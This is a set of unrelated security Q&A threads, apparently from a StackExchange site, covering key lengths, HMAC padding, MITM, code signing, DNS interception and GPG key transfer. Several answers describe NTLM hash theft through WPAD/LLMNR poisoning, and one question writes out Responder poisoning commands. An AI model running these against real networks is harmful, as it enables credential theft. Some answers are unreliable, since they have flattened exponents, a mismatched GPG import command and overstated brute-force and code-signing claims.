What does "key with length of x bits" mean? I'd like to know what it means to say "the cryptosystem C uses keys with a length of x bits". I do not understand what the bits length means... doesn't it depend on the encoding? The same word encodes to bit strings of different lengths in utf8, iso and unicode, so is there a general encoding used to define the length of a key? Or does "length of x bits" mean something completely different?

For symmetric algorithms (symmetric encryption, Message Authentication Code), a key is a sequence of bits, such that any sequence of the right length is a possible key. For instance, AES is a symmetric encryption algorithm (specifically, a block cipher) which is defined over keys of 128, 192 and 256 bits: any sequence of 128, 192 or 256 bits can be used as a key. How you encode these bits is not relevant here: regardless of whether you just dump them raw (8 bits per byte), or use Base64, or hexadecimal, or infer them from a character string, or whatever, is up to you.

There are a few gotchas with some algorithms. The prime example is DES, a predecessor to AES. DES is defined to use a 64-bit key. However, if you look at the algorithm definition, you see that only 56 of these bits are used; the other 8 are simply ignored (if you number bits from 1 to 64, these are bits 8, 16, 24, 32, 40, 48, 56 and 64; they are supposed to be "parity bits" depending on the 56 others, but nobody really bothers with setting or checking them). So it is often said that DES has a 56-bit key. This is because key length is related to security: if an algorithm accepts keys of length n bits, then there are 2n possible keys, and thus trying them all (attack known as "exhaustive search" or "brute force") has time proportional to 2n (with n big enough, i.e. more than about 85, this is technologically infeasible). In that sense, DES offers the security of a 56-bit key (256 "really distinct" possible keys). Yet, if you use a library implementing DES, that library will expect DES keys as sequences of 64 bits (often provided as 8 bytes).

Another algorithm with a special rule is RC2. It accepts keys of length 8 to 128 bits (multiple of 8 only); but it also has an extra parameter called effective key length denoted by "T1". In the middle of the processing of the key, an internal value is "reduced" to a sequence of T1 bits, which means that subsequent encryption will depend only on the values of T1 specific bits in that internal value. The resistance of RC2 against exhaustive search is then no more than that offered by a T1-bit key, because one can try all possible sequences of T1 bits for that internal value. Yet, RC2 still has an actual key length (the length of the sequence of bits which is provided as key) which can be greater than T1.

For asymmetric algorithms (also known as public-key cryptography, encompassing asymmetric encryption, digital signatures, some key exchange protocols, and a few more esoteric algorithms), keys work by pairs consisting in a public key and a private key. These keys are mathematical objects with some heavy internal structure. The "key length" is then a conventional measure of the size of one of the involved mathematical objects.

For instance, a RSA public key contains a big integer called the modulus, as well as an other integer (usually small) called the public exponent. When we say a "1024-bit RSA key", we mean that the modulus has length 1024 bits, i.e. is an integer greater than 21023 but lower than 21024. Such an integer could be encoded as a sequence of 1024 bits, i.e. 128 bytes. Yet, the public key must also contain the public exponent, so the actual encoded length will be greater. And the private key is, on a theoretical point of view, knowledge of how the modulus can be factored in prime numbers; the traditional encoding for that knowledge is that of the prime factors, along with a bunch of helper values which could be recomputed from the factors (but that would be slightly expensive) and may help in executing the algorithm faster.

For distinct key types which work over distinct mathematics, other "lengths" are used, so you cannot directly compare security of algorithms by simply comparing the key lengths. A 256-bit ECDSA key is vastly more secure than a 768-bit RSA key. Also, the mathematical structure inherent to public/private key pairs allows for much faster attacks than simply trying out bunch of random bits, and there are many subtle details. See this site for explanations and online calculators for the various set of rules about comparing key sizes that many regulatory organizations have come up with.


Is Cryptree suitable for cloud storage? I'm evaluating a cloud storage product. The marketing literature states it uses Cryptree. I pulled the paper and performed a quick read, but I don't see where Cryptree lends itself to confidentiality and integrity from semi-honest employees and legal attacks like National Security Letters.

In fact, I'm not sure what the security goals are because they are not succinctly stated. Section 1 Introduction does discuss three goals, but they are related to efficiency and design; and not security.

The abstract does say something about untrusted storage, but the term is never defined. So its not clear to me if the only thing untrusted is the access control mechanism for the remote or distributed file system. The abstract is reproduced below.

I've also read 2.1 Key Management in File Systems several times, but its not clear to me how confidentiality and integrity is achieved with semi-honest employees and legal attacks because the system is clearly using symmetric keys.

Question: Is Cryptree suitable for cloud storage when a requirement is confidentiality and integrity from employees and government?

I have not pulled the source code at this point, but I might need to to see some of the design and implementation details. I'm especially interested in what goes on with the node that represents the root of the tree (and other keys that are based upon it (re: key regression and key updating)).

I placed the question on InfoSec.SE because I think the security goals of the file system are in purview, and its closer to design and implementation. Please let me know if I should flag for migration to Crypto.SE, which tends to be more theoretical.

  We present Cryptree, a cryptographic tree structure which facilitates
  access control in file systems operating on untrusted storage.
  Cryptree leverages the file system’s folder hierarchy to achieve
  efficient and intuitive, yet simple, access control. The highlights
  are its ability to recursively grant access to a folder and all its
  subfolders in constant time, the dynamic inheritance of access rights
  which inherently prevents scattering of access rights, and the
  possibility to grant someone access to a file or folder without
  revealing the identities of other accessors. To reason about and to
  visualize Cryptree, we introduce the notion of cryptographic links. We
  describe the Cryptrees we have used to enforce read and write access
  in our own file system. Finally, we measure the performance of the
  Cryptree and compare it to other approaches.

I'm not familiar with Cryptree, but from reading the first page of the PDF I can see that it's basically a file encryption library. (Actually directory-tree encryption.) So the answer to your question is: it depends on where the decryption happens and where the keys are stored.

If the provider uses Cryptree internally but holds the keys and does the crypto itself, then the answer to your question is "no". The provider has access to all of your data. They've made it somewhat harder for a rogue employee to read your files, but it's not impossible, and they have the capability to hand over your data to a government if ordered to.

If the provider leaves the encryption up to you, and the API between you and the provider merely transmits encrypted file data, then the answer to your question is "yes", because it means the provider has no way to read your files. All they have are encrypted blobs that they don't have the keys for.

I'm basically giving you the same answer as Gilles, but hopefully in a clearer form.


How to Man-in-the-middle a whole network? When performing a MiTM attack, you generally need to specify the router's IP address and the "victim" IP address.

I'm trying to demonstrate to a business owner why he needs to secure his network, but he says since I can't 'capture enough data to be useful he sees no reason to put a simple password on his router.

Is there any way to spoof only the router's IP address, redirecting all traffic through you?

I'm using Kali Linux 1.10.

There are various attacks you can demonstrate in the local network to make your point clear. You can do the classics like ARP-Spoffing, a rogue DHCP-Server or macflooding. Macflooding will cause the switch either to go into fail-open mode which basicly turns it into a hub or in fail-off which turns your MITM attempet into a DOS attack so it's kind of a risky thing to do.

In my experience in a windows network NBNS/LLMNR-Spoofing in combination with WPAD Redirection and force NTLM-Authentification is very effective (sadly it doesnt have anything to do with the switch/router but I think buissnes guy doens't know that...). There is a pretty great implementation of this attack in a tool called Responder. You can bringt internet explorer users send you their NTML hashes so the only thing you have to do is collect them, crack them or pth them. I consider the key to his account might be what he calles "useful data"...


Zero padding in HMAC Section 2 of RFC 2104 defines the key used in HMAC should be padded with zero bytes up to the block length of the underlying hash algorithm.
Isn't this a potential security vulnerability since any key ending in a zero byte would produce the same result as a key without that last byte?

The following PHP code illustrates the example:

$key = "key";
$message = "message";
var_dump(hash_hmac("SHA256", $message, $key));
var_dump(hash_hmac("SHA256", $message, $key.chr(0x00)));

and produces the following output:

string(64) "6e9ef29b75fffc5b7abae527d58fdadb2fe42e7219011976917343065f58ed4a"
string(64) "6e9ef29b75fffc5b7abae527d58fdadb2fe42e7219011976917343065f58ed4a"

I'm aware that section 3 of the same RFC recommends keys of a minimum length, which would eliminate this problem, as would some sort of hashed key generation step.
However, it seems to me this could be a potential problem, or am I being overly paranoid?

No, this is not a security vulnerability.

HMAC requires a key of the underlying hash algorithm's block size. In general, you should provide a key which is of the underlying hash algorithm's block size.

If you forget to provide a key of this size, then there are two options. The first option is that HMAC fails hard and fast, informing you that your key is of the wrong size. The second option is that HMAC simply assumes that you meant to provide a key of the right size, but that you just left off all the trailing zero bytes by accident that were supposed to be there.

The second option above accords with the policy of being liberal in the inputs one will accept but being strict in the outputs one will generate.

So HMAC is not losing information with the second option, because a key of a smaller size is not a valid key. There is simply a policy of taking invalid keys and somehow making them valid for your convenience in a deterministic, documented way.


Should we bother with cell-level encryption for an ASP.NET/SQL Server web application? (Cross-posting this here on the advice of a user at stackoverflow...)

Got a philosophical security question for everyone. I'm sketching out an ASP.NET web application design where sensitive data for different organizations/clients will be stored in a SQL Server database. User authentication will use ASP.NET Forms Authentication.

Encrypting the entire database using Transparent Database Encryption (TDE) is a no-brainer. But I'm curious if we should bother with cell-level encryption (using something like the SQL Server Label Security Toolkit found at codeplex.com: SQL Server Label Security Toolkit).

If we were to do cell-level encryption, then we could associate each user of an organization/client to a single SQL user account that has the ability to read/write data for their organization. So, in case a SQL user account was compromised, it would limit the data access to just that single organization.

But let's suppose we created a single SQL user account/password that is only intended for the web application to communicate securely with the database (no direct access to the database for reporting purposes will be allowed). We can set it up with a sufficiently long, randomly generated password, with those credentials stored encrypted in the web.config file.

At this point, have we sufficiently secured access to sensitive data in the the database (assuming the application limits what is displayed, of course)?

In other words, suppose we had multiple SQL user accounts with ridiculously long passwords encrypted in the web.config file. If one of those SQL user accounts were compromised, then that would mean a security flaw exists that would likely mean all the SQL user accounts were compromised. So, no security value-add really exists.

(The most compelling reason I can think of to do cell-level encryption by client-specific SQL users would be to prevent a security hole in the actual web application from displaying data from another client.)

Hope the question makes sense. Be interested to hear other's thoughts on this! Thanks in advance.

I think the answer to your question pivots on a slightly different perceptual view - which is, where does the decryption take place?

Technologies like TDE function at the database level.  In practical terms, this often means that a DBA - or someone who has compromised appropriate privileges - can access the decrypted data and structure.

Cell-level encryption, on the other hand, may more commonly be implemented at the application layer.  Which means that the DBA will never have the ability to access anything other than an encrypted blob; the key to decrypt it is (should be) sequestered at the application level.  This is valuable because, in both security and compliance worlds, dual control is a powerful ally.  The application engineers can decrypt data, but only if they grab a lot of it from the database, which is usually not subtle.  The database administrators can grab lots of data, usually subtly, but if they can't decrypt it then control is preserved.

When you're thinking about which makes sense, you need to think about the threats you're concerned with.  If you're just worried about cold disks and backup tapes, TDE covers your concern.  If you're worried about the attack vectors into a live functioning application+database pair, TDE makes less sense and you may want to consider more fine-grained controls that separate the decryption capability from the data store.

If you have multiple co-located applications with different encryption keys which enable access to application-specific encrypted blobs on a shared backend, then yes, that may offer you more security... but it has pits you need to think about.  An attacker gaining some control of the app server is the standard worst case scenario.  If they gain access to the app server, can it gather decryption keys from the multiple apps and negate the separation?  You can't really separate apps with encryption keys if they're all on disk, in memory, and executing on the same app server, at least not as a security control.  That's where you'd want other controls, such as separate app servers, to help protect your data.

Please note that I've used weasel words like in practical terms, may more commonly be, should be, and not subtle/subtly.  I'm aware I may not be answering your direct question given the technologies you're listing; I'm recasting the question into a more theoretical bent so that you can try and map your options onto concepts and work back from there.

Good luck!


How to see results of protocol fuzzing Had a class today about protocol fuzzing whereby my professor explained fuzzing in a lot of detail, but neglected to explain how someone would actually measure a fuzzing process.

So how would you actually do this? Would a simple Wireshark capture showing any malformed packets be a result of a successful fuzzing attempt? I've had a look at Sulley and that needs to be installed on both machines (attacker/victim), but what options are available if you are the attacker and you want to see the results of your fuzzing session and how successful it is (i.e. where the crash happened)?

depending the case of fuzzing a black or a white box , but
reading the code from a simple fuzzer you can easily find out how its done  IMAP Fuzzer Metasploit metasploit-unleashed
this example will print a line when the server stop responding , and the buffer length used by that instance, that "log" and any debugger (like ImmunityDebugger) on the "victim" machine will be enough to reproduce the crash

in case of a blackbox before try some "blind" fuzzing you should try to set up a lab trying to reproduce the "victim" scenario , remember fuzzing will crash or damage the system. if you cant reproduce the victim system i think setting a log to the sent buffer and wireshark will we ok, but should monitor the protocols timeouts and other network considerations-
for more details give this gide a try fuzzing in 15 minutes


Digital Signature verification Automate vs Manual Digital Signature verification process for software installation can be done automatically during execution or manually by user. (I'm considering PKI Method of certification.)
For example, in case of some exe's on Windows OS, if the Digital Signature verification fails, the binary fails to execute because of automated Digital Signature verification. Whereas, some .exe's do not verify signatures automatically, and user can verify the Digital Signature manually.
Also, in case of detached signatures such as catalog file or CMS signatures verification can be done by user manually with available commands such as Get-AuthenticodeSignature or OpenSSL respectively.
So, regarding manual vs automated methods I had a discussion with someone, and he told me that manual verification is a flawed process since user may forget to verify the signature. So, automated verification is a necessity.
On the other hand, I think manual verification is better even if user forgot since in automated verification there is more possibility of user being careless and trust the automated process which can be exploited if system or keys are compromised.
Also, I think that both the methods are secure until the Signing Key is secure, and System Integrity is maintained where verification needs to be done.
So, my question is there any added advantage to Automated Digital Signature verification in the case of software installation where user interaction is involved.
Edit:
Please consider below scenarios for the same

Systems are not connected to internet so no automated updates.
Installations are done manually or atleast intiated manually by user.

That “someone” is correct. Automated signature validation helps security far more than manual signature validation.
First consider your counter-argument: you said that an automated process can be exploited if the system or keys are compromised. If the system or keys are compromised, your user will have no more insight to the danger than an automated system. How would your user know if the signing keys were copied? [Hint: they wouldn’t.] Both systems are equally vulnerable to this concern.
Second, if you rely on manual processes only, your system can be compromised because anything can be done when there there are no automated checks.
Automate all the checks you can. Don’t waste your users’ time forcing them to do what the machine can already do better and faster than they can. Never skimp on security by allowing an untrained user to bypass security whenever they feel like it, or if they don’t understand it, or if they’re in a hurry.
100% signed code is hard to achieve and maintain, but is one of the most effective anti-malware tactics you can deploy. It’s far better than whitelisting or file integrity monitoring tools exactly because it’s automated and enforced by the OS.
And if the machine’s security is already compromised, nothing the user can do will save it anyway. The damage has already been done.
EDIT: Code signing cannot be defeated by forging a signature. It’s so effective it’s the basis of securing Apple’s entire iOS system. You may remember a time when “jailbreaking” iPhones used to be common. That pretty much ended once Apple fixed every bug in iOS that enabled it; today, consistent jailbreaking can only be performed by someone with physical access to the phone.
A 100% code signing design has resulted in iPhones becoming the most consistently secure OS in common use by the public today.


Can automatic-reply emails be used to find a home address? I recently received an automatic reply to an email indicating that the recipient was on holiday and giving his cellphone/mobile number so that he could be contacted while away. The email was from a home computer, which could perhaps be deduced from the lack of an associated job description.

The person would seem to be confirming to spammers that they've hit a working email address. But my main concern was that he may be risking burglary. However, I do not understand enough to know how this might realistically happen or gauge the risk involved.

People do reveal their addresses in social media and there are online directories where this information can be found. Also data breaches may lead to addresses and associated emails being placed on the dark web.

So does such information offer ways in which a returned spam message could be linked up to someone's home address? I appreciate that someone could be targeted by an individual but is there also a risk that criminals could harvest these associations automatically?

I appreciate that a similar question has already been asked, but the question about how one's home address could be determined was not answered.

EDIT:

Question changed from “How dangerous are automatic-reply emails which indicate that you are on holiday?” as this was judged to be asking for opinions rather than knowledge-based answers.

That such emails could be used to rob you is claimed in this article from Lifewire, though there would appear to be no explanation of how your home address could be determined.

My concern is that a program which interrogated the returns from spam (along with email / home address associations) could then produce lists of potentially vacant homes. Such information might then be sold to potential burglars. Is such a scenario possible?

For this to be a risk there has to be an appreciable likelihood that someone receiving an out of office e-mail from the user has the motivation and skills to want to rob their house.

Also it discounts the possibilty that someone else (e.g. a pet sitter) might be present in the house whilst the owner is away (i.e. the out of office alone doesn't provide certainty that the property will be vacant).

If we have a targeted attacker who wanted to burgle this specific target, they would likely need to take further steps to establish whether the poperty was vacant, in which case the out of office isn't that relevant.

If we have an attacker who just wants to burgle any person and isn't too bothered who, then they're unlikely to go around sending mails, looking for out of office messages and then work out where they live.


Should I have special emoticon handling for compliance, audit and logging? I'm required to audit various communications (email, sms, messenger, social media) for keywords relating to financial data, HIPPA, and other PII.

Is there any rational reason I should extend my current audit log support to also index (perhaps as a synonym) the various emoticons that exist?

The reason I ask is that emoticons represent special characters that will affect current compliance infrastructures in the following ways:

Searching for emoticons is hard: The standard text delimiters (comma, bracket, etc) are interpreted by the on demand query engines as AND, NOT, OR, a phrase, or order of precedent
Parsing emoticons is hard:  The  backing store may mangle an individual emoticon into more than one character, or be ignored completely
Storing emoticons is hard:   Spurious Tuples result in invalid joins and queries

I suppose that emoticon support might qualify as an "foreign language" except that a "character" is not just a single UTF-32 character, rather it's a "character phrase".

This requires a bit of engineering, planning, and load on the back end databases/indexes.

Question

Is there a line of business, or regulation that implies that special emoticon handling should be included?

Edit - because this question has both close requests and the upvotes I'm adding the following:

Examples

It is now illegal in many states to discriminate candidates based on criminal record.  HR groups are heavy emoticon users and may use the following characters:

Drug usage (PII medical) may be indicated with:

PII such as Sexual orientation, disparaging remarks could be indicated with:

HIPPA Medial issues sent to an insurer (that denies coverage) could be indicated with

The examples above are only with single character expressions and certainly more creative expressions are possible.

I'm expecting strong opinions on the relevance of this question to IT compliance based on people who have interacted with millennials and those who have not.... and the demographic of 35 and older, vs 34 and younger.

My assumption is that emoticon support places an unfair burden on the business, and we would not be required to support it.  Another argument is that younger businesses (in average age) who use emoticons would need to have such auditing in place.

Arguments either way is appreciated.

This is an interesting question which to be honest, I'd not considered. However, now
that you raise it, I think you may be onto something. While I don't believe there is
anything in any of the regulations which explicitly require you to consider this sort
of information, I suspect this is simply due to the letter of the law sometimes being
behind social evolution/development. In most cases, the intent of regulations is
fairly clear and for some of these, the use of emoji as your examples indicate, would
be considered to be unacceptable and it could be argued that all /reasonable/
attempts should be taken to monitor for such practices and appropriate action
taken. Of course, /reasonable/ is somewhat debatable, but such debates are usually
expensive and come down to the sort of legal arguments companies are reluctant to
pursue unless forced to because of their unpredictability.

With respect to the question of whether you should or should not search for emoji in
audits etc, I think this depends on your position and the level of executive
support. If you are an external auditor, especially a government based auditor who
checks for compliance with legislation etc, then you probably do need to consider
searching for these /patterns/. If a company is using emoji to communicate
information which would be considered illegal due to anti-discrimination etc, what
they are doing is illegal and probably needs to be addressed. As an auditor, knowing
this sort of practice occurs probably creates a moral duty if not a legal
one. Unfortunately, resourcing, budgets and political pressures can come to play in
such situations, so executive support/decision is probably required.

If on the other hand you are an internal auditor, then things may be a lot more
complicated. Executive support would be even more important and a lot will likely
depend on the philosophy or moral position of the company. For example, if you work
for an insurance company and this information is actively used to assess premiums or
if you work in a company which has an 'unofficial' policy against employing people
based on their sexual orientation, drug history, criminal convictions etc and that
company's HR department is using emoji to communicate such information in an attempt
to avoid possible auditing issues, raising this issue will likely be career limiting
and unwelcome. On the other hand, if such use of emoji is unofficial and not
supported by the executive, then you may get a pat on the back for raising the issue
so that the executive is aware of the risks/practices and can make an informed
decision on what to do. Regardless of 'official' or 'unofficial' corporate position,
this also has the potential of opening a can of worms, which is rarely welcomed by
the executive, so there is also the danger of 'shooting the messenger' syndrome. Once
the executive is made aware of something like this, it isn't easy for them to just
ignore it and if it should lead to some sort of legal of regulatory issue, you have
removed their 'we were unaware of the issue, but will now take action to address it'
argument.

Then of course, there is your own personal moral position and
it may be necessary to consider whether this is the sort of company you want to work
for.

From a technical standpoint, I don't think you have much of an argument. Including
the ability to search and analyse for the use of emoji may well be a PITA, but that
is not sufficient reason to not do it. Lets face it, auditing in general is often a
PITA and there are very few people I know who really welcome the growing amount of
compliance we need to meet and monitor for.

  Searching for emoticons is hard: The standard text delimiters (comma,
  bracket, etc) are interpreted by the on demand query engines as AND,
  NOT, OR, a phrase, or order of precedent

Yep, it will likely be harder to define the searches, but most search systems do have
the ability to escape special characters or otherwise encode them to use them in
searches. Hard is usually not sufficient justification for not doing something.

  Parsing emoticons is hard: The backing store may mangle an individual
  emoticon into more than one character, or be ignored completely

Well, I'm not sure it is that hard. Lets face it, the interfaces which display these
emoji are able to deal with them. Character based emoji are not too difficult to
handle, although the lack of standardisation does mean you may need multiple,
possibly per application, encoding sets. Image based emoji are much harder, though it
is likely possible using various image matching algorithms, but this would be a lot
of work. With respect to the backing store, this would be a limiting factor. If the
store ignores or encodes emoji into a form you can process, then you can't do it - it
is a limitation of the technology. However, if it just encodes them into a form which
is more difficult to handle, this may not be sufficient - because it is hard is
probably not a sufficient excuse. .

  Storing emoticons is hard: Spurious Tuples result in invalid joins and
  queries

This one probably doesn't stand up. You don't have to store the actual emoji. Once
you have identified it, you can encode it in any number of ways which work with
whatever store you are using.

This is a good question and should generate some debate. There is probably some real opportunities for research in this area.


Responder during pentest risks I want to use the Responder tool during a pentest to find/show vulnerabilities in how the network is configured. But I am not sure how much effect it would have on the end-users aka the people I have to work with the rest of the year. I do not have the resources to set up a large scale test lab so I hoped people on this forum have some experience with this.

The tool:
Responder

The attacks I want to try:

WPAD poisoning: responder -I eth0 -wft

WPAD poisoning with forced authentication.: responder -I eth0 -wFf

NBTNS poisoning: responder -I eth0 -rf

It can be that my definitions are a bit off but to be sure I'll explain what I want to get:

WPAD: IE tries to find the system proxy and so I send the victim my machine as proxy and let them reauthenticate. This can go automatically or with a popup in IE for the user to re-enter their credentials (that is the with forced authentication option). This should maximum give the victims a popup box for credentials.

NBTNS: Machines try to connect to fileshares on the network and I put myself in the middle. This should only sniff the hashes of the victims credentials.

My question is:
What would the end users experience when running the commands that I described. Assuming that the network is not configured very securely.

I assume that you have the authorization to pentest your network in the scope you described. You may not only break operations but also expose information.

responder is a tool to, well, respond to requests. These requests may be benign (in some legacy environments there are LLMNR requests for some servers which are not in a domain) or business critical (where someone actually relies on the responses to these requests).

Your machine may not be able to process the requests of your users (either because of its configuration or performance, or other reasons). Your users will bypass the official proxy and therefore they will not be logged and/or filtered, which opens legal issues (depending on the country). Inversely, you may log their connexions, which may not be legal.
Finally, you will may get their credentials, which again opens legal issues.

So your users may not get access to the resources your company provides and you may be at risk because you actively performed actions which may not be legal.


How to authenticate using RSA avoiding MITM attacks During my lessons of information security the professor told as that Alice can authenticate to Bob in the following way using RSA:

Bob generates and sends a Nonce to Alice
Alice signs this Nonce with her private key and sends it back to Bob
Bob decrypts the packet with Alice's public key and he verifies that the same Nonce that he send is the one that he received

However, with this method a MITM attack is still possible. Eve (the attacker) can simply forward the Nonce to Alice and then forward the signed Nonce to Bob.
From the Bob perspective Eve is authenticated as Alice.

Bob ----Nonce---> Eve ---Nonce---> Alice
Bob <--S(Nonce)-- Eve <--S(Nonce)- Alice

There is a way to guarantee that the signed Nonce actually arrive from the correct sender?

In this protocol, Alice "has* authenticated herself to Bob. Bob knows that the signature was made by Alice. Eve has merely forwarded the communication. Eve had not carried out any attack: she had not violated any security property that Alice or Bob expects.

I suspect that your difficulty comes from the fact that this is a very simplistic protocol that isn't very useful. The only information that Bob learns is Alice has been alive at some point after Bob sent the nonce. No useful communication has taken place.

To make this protocol useful, let Alice send some data in addition to the nonce: Alice send S(nonce + M) where M is some message. Then Bob knows that Alice sent the message M in response to Bob's message containing the nonce. The signature guarantees that M comes from Alice, not Eve. The nonce guarantees that M is a recent message, not some old message that Eve had stored.

Note that it's important that Mand the nonce are signed together. If Bob received S(nonce) + S(M), he would have no way to know that M isn't some old message that Alice sent earlier in a different context. If Bob and Alive want to have a conversation with multiple messages, each message needs to be signed and the signed data needs to contain an unambiguous reference to the previous data in the conversation (typically this is fine by hashing the previous message). Otherwise Eve could rearrange pieces of the conversation or mix messages from different conversations.


Can an ISP redirecting DNS traffic be detected by the end user? If an ISP wants to gather profiles on users, or block certain websites, they can fairly easily redirect outgoing UDP traffic to port 53 to their own DNS servers.

How could this be detected by the end user? Assume that the redirection is being done via a trivial router rule rather than though deep packet inspection.

There are actually numerous useful hits when searching for detect isp dns interception. It basically boils down to this:

Check if any target port 53 gets redirected:Use tools like dig or nslookup to use an arbitrary external IP address which likely has no DNS server running as a DNS server. If one gets a response something has intercepted port 53 and replied to it.
Check if port 53 to specific servers gets redirected:Do a UDP based traceroute against the intended DNS server at port 53 and some other port. If the results differ a lot (i.e. port 53 has a way shorter route or totally different route) then there is likely interception going on.

For more see also How can I check if my ISP is intercepting DNS queries sent to alternative DNS servers? and Is Your ISP Hijacking Your DNS Traffic?.

Note that none of these techniques detects silent sniffing by the ISP. Also, in theory the ISP could work around such detection by not redirecting the DNS request but instead capturing a DNS response and modifying the result in it. This again could be detected if the response received differs from an expected response.
DoH (DNS over HTTP) prevents both sniffing and modifications.


Consequence of BadUSB and laptops? Are internal components vulnerable to BadUSB? Say you have a laptop. Even if you don't use any USB devices (like mice and keyboard), if the laptop has internal components that connect through USB (like a webcam and fingerprint reader) could these have their firmware modified in order to persistently infect a machine?

BadUSB is no problem for internal devices. It is more the other way around, you should not connect external USB Devices to your computer.

BadUSB works in the way that you think a ordinary i-phone charging cable or a USB stick or most likely a manipulated smart phone to your computer. But in realty the device acts as keyboard, mouse and or network card,and therefore is able to change or exfiltrate or monitor data on your device.

I don't think someone will use BadUSB against you,but if you think you need protection one solution would to make it impossible to connect any external USB devices to you laptop.

There are software solutions which make it hard to use BadUSB. But they are not easy to implement or use and you need to know what you are doing to make them work.


How secure is using a blank index.html / index.php? When you put a blank index.html into a given directory on a web server, web browsers will not display a file listing for that directory. But is it secure enough for other purposes other than preventing file listing? Are there other easy ways for unwanted people to display the file list, or access the files, in that directory?

Let's keep the scope within "casual would-be crackers" and personal websites.

Edit:
This question is similar, but I believe it's about accessing subfolders: Is it possible to list folder from my web server if i have an empty index.html in the root folder?

There isn't anything inherently insecure about the method you describe. However, this isn't the proper way to prevent directory browsing. It is easy to forget to add an empty index.html or index.php file to directories especially if you are managing tens of directories.

You should instead configure your web server appropriately to turn  off directory indexing.

This can be done by removing the Indexes directive from the Options line in httpd.conf. If you need to list directory contents for special directories, you can overwrite it in individual directories using the .htaccess file.


Secure way to transfer public/secret key to second computer I created a public/secret key using Seahorse (GNOME managing tool for encryption keys). I haven't had issues encrypting and decrypting files from the computer the keys are located in but I'd like to be able to decrypt and encrypt in other computer. What is a secure way to transfer public and private keys in this case?

I ultimately copied my .gnupg directory to the second computer and Ubuntu's key manager detected both keys so after typing my passphrase I was able to open my file but I'd like to know what is a secure/proper way to do it?

Encrypt your private key with a long password and decrypt it on the target computer. Here's how:

First, export the public key:

gpg --output public-key.gpg --export {KEYID}

Then export the secret key and encrypt the result before it's written to disk:

gpg --output - --export-secret-key {KEYID} |\
gpg --armor --output secret-key.asc --symmetric --cipher-algo AES256

Use either a very long or just entirely random password for the encryption.

Then transfer the keys.asc on a FAT-formatted flash and shred them afterwards, or if you know how to destroy CDs (ENTIRELY), use a CD and then destroy it.

To import the key on the other machine, run:

gpg --no-use-agent --output - keys.asc | gpg --import

This will prompt for your password, then decrypt and import the key.

Make sure you destroy the encrypted file after running this! On a small file like a private key bruteforcing the password is fairly trivial and can be done in a matter of weeks to months depending on the hardware available to the attacker. The attacker's job is further simplified by the fact that the structure of a PGP private key is publicly known, so known-cleartext attacks can be attempted.
If the encrypted version of your private key is leaked, revoke the key and generate a new one IMMEDIATELY.

Source for the commands: http://montemazuma.wordpress.com/2010/03/01/moving-a-gpg-key-privately/


What is a "security bod"? This is a term I ran across in a blog post by Troy Hunt (which was linked from an answer on this site):

  I heard a perfect example of this just the other day when speaking to a security bod in a bank.

I searched the term in DuckDuckGo and found no definitions, though I found two "Inquirer" headlines that use the same phrase:

  Linus Torvalds slams Google security bod's 'bullsh*t' approach to bugs

And:

  Security bod uncovers 15-year-old macOS zero-day flaw

I also found UK's "The Register" using the term in a headline.

What does this term mean and is there any etymology for it?  (Neither "body" nor "board of directors" fits the context.)

This is indeed English slang and therefore this question relates more to etymology than security.

Wiktionary describes it as:

  (slang) A person.
  George was a bit of an odd bod.

  2005, Richard Templar, The Rules of Management (page 73) There were cameras covering car parks, offices, corridors and storage areas in the basement. Result. The security bods started watching as if their lives depended on it.

(Emphasis mine)


How secure are old versions of Chrome? I realise the generic nature of this post and I apologise in advance.

Let's say for instance we were on v58, what resources are out there to "prove our point" that it's insecure and we should upgrade?

Search for the vulnerabilities for Chrome 54.

For example, there's a potential remote code execution on versions earlier than 62. If an attacker sends a specially crafted HTML page to anyone using the vulnerable version, he can execute code remotely, no download required. All your organization will be vulnerable to a Drive-By Download attack.

If the payload includes a ransomware, you have to choose between losing a lot of data and productivity time and paying perhaps a hefty ransom.

In some cases, enterprise products will not run on newer versions for different reasons. In this cases, you must make sure that the computers running the old versions are shielded from the internet and deployed on a quarantined area.

But it's strongly advised to update software as soon as possible, and in case of internet facing software (like browsers and email clients) as soon as any update is available.


Disable 3DES (Triple DES) in thunderbird Thunderbird still uses 3DES for SMIME encryption (bug #1167857).

Since 3DES is severely "broken" and uses only 80 bits of security, I would like to tell my Thunderbird, not to use that algorythm any more.

I set the value for security.ssl3.rsa_des_ede3_sha in the config editor in Thunderbird to false but still the algorithm is used for SMIME.

How can I disable 3DES in Thunderbird, so my client uses a secure cipher like AES, camelia, aria or chacha20 for SMIME?

(By the way: also apple-mail still seems to use 3des)

If there would be a way to disable DES3 for this purpose in Thunderbird it would probably be a note on the bug report about it, which isn't. But instead of crying about the insecurity of 3DES let's look at how insecure it is in reality when used together with S/MIME.

The prominent attack against 3DES and other 64-bit block ciphers (like Blowfish) which led to treating these ciphers as insecure is Sweet32. This attack is based on the idea that one can decode part of the traffic provided that the content (plain text) of two blocks is the same or that part of the content is known AND that Ci (derived from IV and previous data in CBC is the same.

This condition is not unlikely with HTTPS traffic because of the properties of the HTTP protocol: a new request and response header will always cause a new encryption block to be started and the request and response will often be the same if the same resource is requested. Thus the weakness in the short block size combined with the properties of HTTP made it practically possible to extracts some secrets (like session cookies) out of the traffic. In experiments this was reached after about 600 GB of traffic but if we deal only with repeating always the same block of data it might be possible with 32 GB. Note that these 600 GB must be done inside the same TLS session, i.e. the same key must be used for all of this traffic.

From this can be seen that this attacks works only if the same key is used for a very large amount of data where a major part of the data repeats again and again so that in a large part of the input data the plain text content of the 64-bit blocks is the same. While such conditions can be created with HTTPS traffic it is highly unlikely to get this condition with mails: While one could imagine mails where the content of a attachments repeats again and again it is unlikely that enough input data for the attack are available since the size of emails is usually only a few MB and not lots of GB as needed for the attack.


Salting the same value many times If someone were to hash the same value with a different salt many times, would it be possible to find the original value?

If the hash size is smaller than the plaintext size, as is usually the case, of course not. No amount of salting can ever restore what is no longer there.

If the two sizes are the same, but the hash function is not bijective, then again it is not always possible. Given that H = h(s?, v1) = h(s?, v2), knowledge of H and s1 will not give the certainty that v1 and not v2 is the value you seek. On the other hand, either value might work as well for your purposes. This phenomenon is kept to a minimum in hash functions because reducing the output space increases the risk of collisions, which is bad.

In the remaining case, when your hash function is actually an encryption, then depending on the salt values yes, this might happen - but the key here is that you would not know. The amount of work required to discover a value s*, such that h(s*, h(s?, v)) gives back v for that specific value of v, is of the same order of magnitude of the brute force discovery of v in the first place, or worse. Basically you have the hash H, and try all possible s*'s until h(s?, h(s*, H)) = H. When you do, then h(s*, H) = v .

There is a last sub-case, when there exists a function g(s?) which will output exactly the desired value of s*. That function is known as a backdoor and a hash function allowing a backdoor is considered badly broken; using this g() it is trivial to invert the hashing.

